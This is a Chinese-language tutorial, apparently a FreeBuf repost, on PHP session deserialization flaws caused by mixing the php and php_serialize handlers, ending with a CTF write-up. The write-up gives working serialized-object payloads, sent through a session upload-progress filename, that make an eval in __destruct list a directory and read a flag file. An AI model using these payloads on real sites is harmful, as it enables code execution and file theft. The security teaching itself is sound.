php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞

什么是session

session英文翻译为"会话",两个人聊天从开始到结束就构成了一个会话。PHP里的session主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期

PHP session工作流程

会话的工作流程很简单,当开始一个会话时,PHP会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的Cookie、Get、Post中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post都不存在session id,于是就使用了set-cookie头

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第1张图片

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

session_start();

if (!isset($_SESSION['username'])) {

$_SESSION['username'] = 'ghtwf01' ;

}

?>

代码的意思就是如果不存在session那么就创建一个session

也可以用如下流程图表示

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第2张图片

php.ini配置

php.ini里面有如下六个相对重要的配置session.save_path="" --设置session的存储位置

session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php

session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用

session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

如phpstudy下上述配置如下:session.save_path = "/tmp" --所有session文件存储在/tmp目录下

session.save_handler = files --表明session是以文件的方式来进行存储的

session.auto_start = 0 --表明默认不启动session

session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎

session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量

session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid形式

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第3张图片

打开看一下全是序列化后的内容

1d79950afd7316fa01f2fa0217c9711c.png

现在我们来看看session.serialize_handler,它定义的引擎有三种

| 处理器名称 | 存储格式 |

| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |

| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|

| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |

php处理器

首先来看看session.serialize_handler等于php时候的序列化结果,代码如下

error_reporting(0);

ini_set('session.serialize_handler','php');

session_start();

$_SESSION['session'] = $_GET['session'];

?>

session的sessionid其实可以看到的,为i38age8ok4bofpiuiku3h20fh0

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第4张图片

于是我们到session存储目录查看一下session文件内容

e0f4cd82b1d872832e7c48da72015e33.png

session为$_SESSION['session']的键名,|后为传入GET参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于php_binary时候的序列化结果

error_reporting(0);

ini_set('session.serialize_handler','php_binary');

session_start();

$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];

?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#,所以最终的结果如下

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第5张图片

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于php_serialize时候的序列化结果,代码如下

error_reporting(0);

ini_set('session.serialize_handler','php_serialize');

session_start();

$_SESSION['session'] = $_GET['session'];

?>

结果如下

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第6张图片

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入GET参数经过序列化后的值

session的反序列化漏洞利用

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

我们创建一个session.php,用于传输session值,里面代码如下

error_reporting(0);

ini_set('session.serialize_handler','php_serialize');

session_start();

$_SESSION['session'] = $_GET['session'];

?>

再创建一个hello.php,里面代码如下

error_reporting(0);

ini_set('session.serialize_handler','php');

session_start();

class D0g3{

public $name = 'panda';

function __wakeup(){

echo "Who are you?";

}

function __destruct(){

echo '
'.$this->name;

}

}

$str = new XianZhi();

?>

这两个文件的作用很清晰,session.php文件的处理器是php_serialize,hello.php文件的处理器是php,session.php文件的作用是传入可控的 session值,hello.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值

运行一下hello.php看一下效果

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第7张图片

我们用如下代码来复现一下session的反序列化漏洞

class D0g3{

public $name = 'ghtwf01';

function __wakeup(){

echo "Who are you?";

}

function __destruct(){

echo '
'.$this->name;

}

}

$str = new D0g3();

echo serialize($str);

?>

输出结果为

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第8张图片

因为session是php_serialize处理器,所以允许|存在字符串中,所以将这段代码序列化内容前面加上|传入session.php中

现在来看一下存入session文件的内容

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第9张图片

再打开hello.php

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第10张图片

一道CTF题:PHPINFO

//A webshell is wait for you

ini_set('session.serialize_handler', 'php');

session_start();

class OowoO

{

public $mdzz;

function __construct()

{

$this->mdzz = 'phpinfo();';

}

function __destruct()

{

eval($this->mdzz);

}

}

if(isset($_GET['phpinfo']))

{

$m = new OowoO();

}

else

{

highlight_string(file_get_contents('index.php'));

}

?>

仔细看了一遍发现题目没有入口,注意到ini_set('session.serialize_handler', 'php'),想到可不可能是session反序列化漏洞,看一下phpinfo,发现session.serialize_handler设置如下local value(当前目录,会覆盖master value内容):php

master value(主目录,php.ini里面的内容):php_serialize

这个很明显就存在php session反序列化漏洞,但是入口点在哪里,怎么控制session的值

在phpinfo里面看到了session.upload_progress.enabled on

session.upload_progress.cleanup off

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session

允许上传且结束后不清除数据,这样更有利于利用

在html网页源代码上面添加如下代码

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第11张图片

接下来考虑如何利用

ini_set('session.serialize_handler', 'php_serialize');

session_start();

class OowoO

{

public $mdzz='print_r(scandir(dirname(__FILE__)));';

}

$obj = new OowoO();

echo serialize($obj);

?>

得到

1bdb4601b33059441a44604a70ad1dcd.png

为了防止转义,在每个双引号前加上\,即|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

点击提交,burpsuite抓包将filename的值改为它

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞_第12张图片

查询到当前目录有哪些文件了,在phpinfo里面查看到当前目录路径

30fdb22065ad11220b681de233fe8367.png

于是我们利用print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

来读取Here_1s_7he_fl4g_buT_You_Cannot_see.php中的内容,同样的道理加上\后将filename改为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag

e95c89541a6156b2a11cf6c849950adb.png

参考链接

你可能感兴趣的:(php反序列化漏洞,freebuf)